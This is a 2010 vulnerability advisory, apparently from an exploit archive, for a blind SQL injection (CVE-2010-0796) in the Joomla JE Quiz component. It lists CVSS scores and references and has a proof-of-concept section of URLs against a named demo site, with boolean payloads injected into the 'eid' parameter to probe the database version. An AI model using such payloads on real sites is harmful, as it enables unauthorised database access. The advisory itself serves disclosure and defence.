Joomla (JE Quiz component 1.0) BLIND SQL Injection Vulnerability

2010-03-03 / 2010-03-04

Credit: B-HUNT3|2

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-0796

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163
[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
 

References:

http://xforce.iss.net/xforce/xfdb/56009

http://www.securityfocus.com/bid/38032

http://www.exploit-db.com/exploits/11287

http://secunia.com/advisories/38412

http://packetstormsecurity.org/1001-exploits/joomlajequiz-sql.txt

http://osvdb.org/62039

See this note in RAW Version

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Joomla (JE Quiz component 1.0) BLIND SQL Injection Vulnerability

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